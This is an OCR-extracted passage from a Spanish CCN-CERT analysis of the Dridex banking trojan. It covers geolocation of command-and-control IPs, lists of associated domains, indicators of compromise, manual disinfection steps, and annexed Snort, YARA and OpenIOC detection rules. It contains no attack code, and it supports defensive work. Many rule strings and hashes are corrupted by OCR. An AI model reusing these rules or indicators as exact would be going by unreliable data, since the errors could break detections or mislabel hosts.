Ucrania, como se muestra en la siguiente imagen:

7 i © o vume »

s

% »M?a Satélite -
(

y B i i Kypex BopoHex
\ , YepHiria Kursk Voronezh
W Ul ~"  CrapeinOckon = 4
-" “Lublin Yra 8 4 \ Stary Oskol e e A
< < | = Benropog \
Y \ Country: |Ukraine X r Belgorod \
FAT Hostname:[91.239.232.9 ) )
7 i oo o1.239.232. | : \
R;e%iéw Sy S IP: 91.239.232.9

g W ‘?iuuuﬁa
7 Vinnytsia
e

o ,,JloueuSK-,,, =

| 2 g ] " / =
1\ "~ Kpveuit Pi 6-‘ ) s
: ! | KiyvyiRih Sanopxxa Donetsk o
r v - 'WX ' Zaporizhia o ook
pebgec . : T 7 arawpor | = onrop
o g \ | \ e i H
A ] Sk M Mukonais ":fa”,'{]':)%?. ﬁgﬂmog_qfugeg:ﬁgﬁ(ﬁc& Volgod
19 DN Napocs R N I\ (gt AR Toe - ia: [louys
N HjNapoca & ! / x _ Rostov-on-Don .
4 & A X ) (R \ —
”:3 ,»’ - g . + &
'imi%oara = AR e be =

A

51zel, ORION-ME C T&iminGs de uso

v I
1Geogle‘ )

llustracién 24. Geolocalizacién de la direccién IP "91.239.232.9"

Country Code Region Latitude Longitude
ua ua 30 kiew 50440945 30527180 private joint stock ..
Ukraine UA not found nat found 50450001 30.523300 HostPro
Ukraine LA Dnipropetrovs'ka Chl.. Meliorativnaoye 48619949 35401871 Hostpro Ltd.

llustracién 25. Informacién de la direccién IP “91.239.232.9"

6.1.3 31.131.251.33

Los dominios asociados con la siguiente direccién IP son:

|

|
|
funnelclub.ru mail.aylba2000.com
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mail.dom-warm.com

mail.doshowing.com

mail.gameadmins.com

www.gameadmins.com

mail.matepuana.com

www.matepuana.com

mail.vestnikevropy.com

mail.vozha.com

mail.vsenabali.com

mail.uzland.info

mail.forcevision.net

www.forcevision.net

mail.superhero-movie.net

mail.barcnews.org

mail.fotohostfing.org

www.imunified.org

mail.minpros.org

mail.autopasport.ru

mail.doloresoriordan.ru

mail.dveri-vip.ru

mail.dya.ru

mail.flashphone.ru

www.flashphone.ru

mail.fordéé.ru

mail.geoteh.ru

mail.grafomaniya.ru

mail.hobbygift.ru

mail.juridicalrussia.ru

www.kardeshlek.ru

www .kolomenskoe-park.ru

mail.lensk-gov.ru

mail.mag-trans.ru

mail.maslobaza.ru

WWW.Morisan.ru

mail.neive.ru

www.neive.ru

mail.pbk-spb.ru www.pbk-spb.ru mail.peugeot-308.ru
mail.plucca.ru mail.rdzs.ru gamma.relevate.ru
mail.rollservis.ru WWW.russiannet.ru mail.sharebook.ru
www.spbvideo.ru mail.fip74.ru www.tunnelclub.ru
mail.uletno.ru WWW.US5.ru mail.uvdsakhalin.ru

mail.wurth-shop.ru

mail.ymap.ru

da-vinci.com.ua

orbis-ukraine.com.ua

unex.com.ud

newsukraine.kiev.ua

regions.org.ud

mail.a-election.com.ua

mail.da-vinci.com.ua

mail.laptoper.com.ua

6.1.3.1 GEOLOCALIZACION

En el momento del andlisis, la direccion IP 31.131.251.33 se encuentra ubicada en
Rusia, como se muestra en la siguiente imagen:

Mapa Saielite

Cypryt
SUMgUt  pyxpesaprosck
lehnegallovsk

Omck

bt Omsk
=]

GapHayn
Barnaul

Country

|F!Lss an Federation My

v
_|gamma.relevate.ru
Hostnams:
" 113105133

IP:

[31.131.251.33

Tomck

Tor;ﬁk KpacHoApck

Krasnoyarsk
o

Kemeposo

HoeocuBupck  Kemerovo
Novosibirsk g
o

HoBoky3Heuk
No\mkgznelsk

ABakan
Abakan
a

\ /
\J

¢

YeTh-Mnumcic
Ust-llimsk

Bpatck
Bragsk

Datcs de mapas ©2015 Google, Mapa GISrael, ORION-ME, ZENRIN -~ Términos de usc | Informar de un error de Maps

llustracién 26. Geolocalizacién de la direccion IP "31.131.251.33"

Country Country Code
ru ru
Russian Federation RU
Russian Federation RU

Region City Latitude
spe st petersburg 50.932598
nat found nat found 55.750000
Permskiy Kray Perm’ 58.017410

Longitude ISP

30.323000 Qo0 network of data-...
37616600 Q00 Network of data-...
56.285519 Q00 Network of Data-...

llustracién 27. Informacién de la direccién IP “31.131.251.33"
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6.1.4 134.0.115.157

Los dominios asociados con la siguiente direccién IP son:

russkiidom.com saunatula.com stroevoda.com

11karat.ru 250028.ru
|
fastsaleclub.ru

karnizi-kaluga.ru
Inkmebel.ru maslenka?1.ru

oknastroy71.1u okpilot.ru
potolkikaluga.ru

shtoryviule.ru
tehprom-tula.ru tehsalt.ru

tulastroygarant.ru tulenergy.ru

xn----8sbivtgcaaeu8p.xn-- xn--71-6kcay4afgmlb.xn-- | xn--80aaag3bi2ci.xn--p1aqi
o1ai o1ai

mail.xn--
clabepggddmdOad.xn--
plai

6.1.4.1 GEOLOCALIZACION

En el momento del andlisis, la direcciéon IP 134.0.115.157 se encuentra ubicada en
Rusia, como se muestra en la siguiente imagen:
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ua
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llustracién 28. Geolocalizacién de la direccion IP "134.0.115.157"

Country Country Code Region Latitude Longitude

ru ru Mo 55761600 37.641102 domain names registr...
Russian Federation RU net found not found 55.750000 37.616600 Diomain names registr...
Russian Federation RU Moscow City Moscow 55752220 37.6155509 Domain Names Registr

llustracién 29. Informacion de la direccién IP “134.0.115.157"

7. DETECCION

La deteccidén manual de Dridex en el sistema puede realizarse comprobando la
existencia de los siguientes indicadores de compromiso:

e Es necesario comprobar la existencia de un directorio ubicado en
%LOCALAPPDATA%, cuyo nombre siempre serd de 8 caracteres
alfanuméricos aleatorios, y que contenga un ejecutable cuyo nombre
también esté compuesto por 8 caracteres alfanuméricos diferentes.

e La existencia de la siguiente clave de registro, creada durante la
instalacion de Dridex, denota la presencia del malware:

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/CLSID/
{OD195DD8-2B8C-AE17-7E54-COFD3BCOFEAB}/ShellFolder/O

Sin embargo, tal y como se ha comentado anteriormente, dicha clave
serd eliminada tfras la instalacién de Dridex, asi que es posible que este
indicador no se pueda verificar en el equipo comprometido.

Para realizar una deteccién automatizada se han definido unos indicadores de
compromiso, éstos pueden ser utilizados con alguna de las herramientas de Mandiant
como "Mandiant IOC Finder" o el colector generado por Redline.
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7.1 MANDIANT

Se ha generado un nuevo archivo indicador de compromiso. El nombre del
indicador generado es "Dridex - CCN-CERT - Nov2015" con GUID "ac85ff18-7594-493f-
a605-db270b1773c3".

Se utilizard el indicador con alguna de las herramientas de las que dispone
Mandiant como "Mandiant_ioc_finder' o para la confeccidén de un recolector de
evidencias mediante "Mandiant RedLine".

Se recomienda consultar la guia de seguridad CCN-STIC-423 Indicadores de
Compromiso (IOC), donde se recoge qué es un indicador de compromiso, cémo
crearlo y cémo identificar equipos comprometidos.

Mame: |Dridex T | B
Author: |CCN-CERT

GUID: |acBS££18-7594-493f-a605-db270b1773c3
Created: |2015-12-01 09:43:03Z

Modfied: |2015-12-02 15:26:53Z

Description:
|OCs para detectar:
- Conexiones de Red
- Dropper
Add: AND OR Jtem = =
=] 0R
?"File MD5 is 6Zed4fTcfabifefe3433e8B8Lf176ccecE
E-om
: i"REgistry Eey Path contains HECU\Software'\Microsoft\Windows'\CurrentVersion'\Explorer\CLSID |
=-or
E----Sr:l.n:\urt.: Bule, doubkle click to view cr edit
El-oR
L"Snnrt Bule, double click to view or edit
=-or
E----Sr:l.n:\urt.: Fule, doubkle click to view cr edit
=-0R

i Bnort Bule, double click to view or edit

llustracién 30. Indicadores de compromiso I0Cs

8. DESINFECCION

8.1 Manudl

A contfinuacién se detallan los pasos necesarios para llevar a cabo una
desinfeccidn manual de Dridex en el equipo:

En primer lugar es necesario finalizar la ejecucion de este cddigo danino

utilizando el administrador de tareas. Para ello:
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e Pulsar Ctrl+Alt+Supr y abrir el administrador de tareas.

e locdlizar un proceso con nombre alfanumérico compuesto por 8
caracteres aleatorios y extension “.exe”.

e Obtener la ruta fisica del ejecutable seleccionando el proceso y, a
continuacién, pulsando el botén derecho del ratén sobre él, para
obtener el menuU contextual. A continuacion elegir la opcidn que permite
albrir su ubicacion en disco; esto mostrard una ventana del explorador de
ficheros que se utilizard mds adelante.

e Desde el administrador de tareas, y con el proceso seleccionado, elegir
“Finalizar tarea™.

e Finalmente, desde la ventana del explorador de ficheros abierta
previamente, eliminar el ejecutable de disco.

It

| 12 Windows Task Manager EI@

File Options View Help

-

Applications | Processes |Services I Performance INetwcnrking I |sers |

7
Image Mame PID User Mame CPU  Memory (... Description
CSrE5, 8 380 o2 Bo4 K
dumped. fil 3924 sawer an 1,300 K dumped.fil
dwm.exe 1812 SEWEF a0 43K Desktop Window M...
03obys. 280 W . .
=2 ye.ene SENET Open File Location 1
explorer.exe 3708 sawer xplorer
idag.exe 234 SAWET End Process tive Dis...
taskhost exe 1832 sawer End P T sz for W...
taskmagr.exe 772 sawer neFrocess free gk Man...
TOTALCMD.EXE 1623 sawer Debug ander 3.,
winlogan. exe 420 v UAC Virtualization
Create Dump File
Set Pricrity »
Properties
Go to Service(s)
[ '&' Show processes from all users
Processes: 32 CPU Usage: 4% Physical Memery: 33%

llustracion 31. Coédigo danino visto desde el administrador de tareas

A continuacién reiniciar el sistema e iniciar Windows en modo a prueba de fallos.
Para ello hay que mantener la tecla F8 pulsada mientras el sistema inicia. Cuando se
muestre el menuU de inicio hay que seleccionar “Modo a prueba de fallos”.

Una vez iniciado el sistema ejecutar la utilidad “regedit.exe” (inicio > ejecutar >
regedit.exe) y localizar la siguiente clave, tanto en HKEY_LOCAL_MACHINE como en

HKEY_CURRENT_USER:
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\Software\Microsoft\Windows\CurrentVersion\Run\

Una vez se tenga localizada la clave, se procederd a eliminar tanto el archivo al
gue apunta como a la propia clave.
8.2 Automadtica

Se aconseja instalar un software antivirus en todos aquellos equipos en los que se
haya detectado algin indicador de compromiso o encontrado algun archivo o clave
de registro de los indicados, y readlizar un andlisis completo del sistema para
desinfectarlo completamente.
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10. ANEXOS
ANEXO | - REGLAS DE DETECCION

REGLA SNORT

alert fcp any any -> 91.239.232.145 8448 (msg:'Trojan Dridex request";)
alert fcp any any -> 91.239.232.9 8448 (msg:'Trojan Dridex request";)
alert tcp any any -> 31.131.251.33 743 (msg:"Trojan Dridex request";)
alert tcp any any -> 134.0.115.157 1443 (msg@:"Trojan Dridex request";)

REGLA YARA

import "pe"

rule Trj_bridex {

meta:
author = "Centro Criptoldgico Nacional (CCN)"
description = "Dridex"

strings:

$mz = { 4d 5a }
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$strl = "D:\\24QI\\BBcTOCI"

$str2 = { 42 00 78 00 72 00 51 00 7A 00 }

$str3 = { 2E 60 4A 6B 4D 58 44 38 44 63 }
condition:

($mz at 0) and ($strl at Oxa69c) and ($str2 at O0xa690) and
($str3 at O0xa39%e)

}

I0C

<?xml1 version="1.0" encoding="us-ascii"?>

<ioc xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema" id="ac85ff18-7594-493f-a605-
db270b1773c3" Tast-modified="2015-12-02T15:36:36"

xmlns="http://schemas.mandiant.com/2010/i0c">
<short_description>Dridex</short_description>
<description>I0Cs para detectar:
- Conexiones de Red
- Dropper</description>
<authored_by>CCN-CERT</authored_by>
<authored_date>2015-12-01T1T09:49:03</authored_date>
<1links />
<definition>
<Indicator operator="OR" id="d367b060-6085-45ba-b833-9d8d92200fea">
<IndicatorItem id="cdaef9c2-0297-498e-b849-95929d2d46b5" condition="1is">
<Context document="FileItem" search="FileItem/Md5sum" type="mir" />
<Content type="md5">62e4f7cfa529ef63439e88ff176cc6c8</Content>
</IndicatorItem>
<Indicator operator="0OR" id="1lab9bbc0-ae53-4c4b-8710-fffdae87al0f">

<IndicatorItem id="23f157f5-6125-4aab-8bbd-82e5f2blbfe5"
condition="contains">

<Context document="RegistryItem" search="RegistryItem/KeyPath"
type="mir" />

<Content
type="string">HKCU\Software\Microsoft\windows\Currentversion\Explorer\CLSID\{0
D195DD8-2B8C-AE17-7E54-COFD3BCOFEAB}\Shel1Folder\0</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="acec6b04-3e0e-472e-847d-e01lef88c5b21">

<IndicatorItem id="e10664a7-5547-40b1-99bf-244c90elald3"
condition="contains">

<Context document="Snort" search="Snort/Snort" type="mir" />

<Content type="string'">alert tcp any any -&gt; 91.239.232.145 8448
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(msg:"Trojan Dridex request™;)</Content>
</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="a3a339ca-51b0-495a-b32f-93a2ddec3127">

<IndicatorItem 1d="1642450f-7704-4a33-8e5e-da589f4a5ccf"
condition="contains'">

<Context document="Snort" search="Snort/Snort" type="mir" />

<Content type="string">alert tcp any any -&gt; 91.239.232.9 8448
(msg:"Trojan Dridex request";)</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="a951fcaf-d27d-4a53-8b23-0f48305de5f2">

<IndicatorItem id="fcdbd7bf-9bel-4135-a5b1-ced97df63d47"
condition="contains'">

<Context document="Snort" search="Snort/Snort" type="mir" />

<Content type="string">alert tcp any any -&gt; 31.131.251.33 743
(msg:"Trojan Dridex request";)</Content>

</IndicatorItem>
</Indicator>
<Indicator operator="OR" id="49eed3da-8f4c-45d1-aa69-c856e2064c75">

<IndicatorItem id="fce6a8ab-4f8b-4e4f-ba30-37f56c9b8813"
condition="contains'">

<Context document="Snort" search="Snort/Snort" type="mir" />

<Content type="string">alert tcp any any -&gt; 134.0.115.157 1443
(msg:"Trojan Dridex request";)

</content>
</IndicatorItem>
</Indicator>
</Indicator>
</definition>

</ioc>
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	4. PROCEDIMIENTO DE INFECCIÓN
	4.1 Vectores de infección
	4.2 Interacciones con el sistema afectado

	5. PERSISTENCIA EN EL SISTEMA
	6. CONEXIONES DE RED
	6.1 INFORMACIÓN DEL ATACANTE
	6.1.1 91.239.232.145
	6.1.1.1 GEOLOCALIZACIÓN

	6.1.2 91.239.232.9
	6.1.2.1 GEOLOCALIZACIÓN

	6.1.3 31.131.251.33
	6.1.3.1 GEOLOCALIZACIÓN

	6.1.4 134.0.115.157
	6.1.4.1 GEOLOCALIZACIÓN



	7. DETECCIÓN
	7.1 MANDIANT

	8. DESINFECCIÓN
	8.1 Manual
	8.2 Automática

	9. REFERENCIAS
	10. ANEXOS
	ANEXO I – REGLAS DE DETECCIÓN
	REGLA SNORT
	REGLA YARA
	IOC


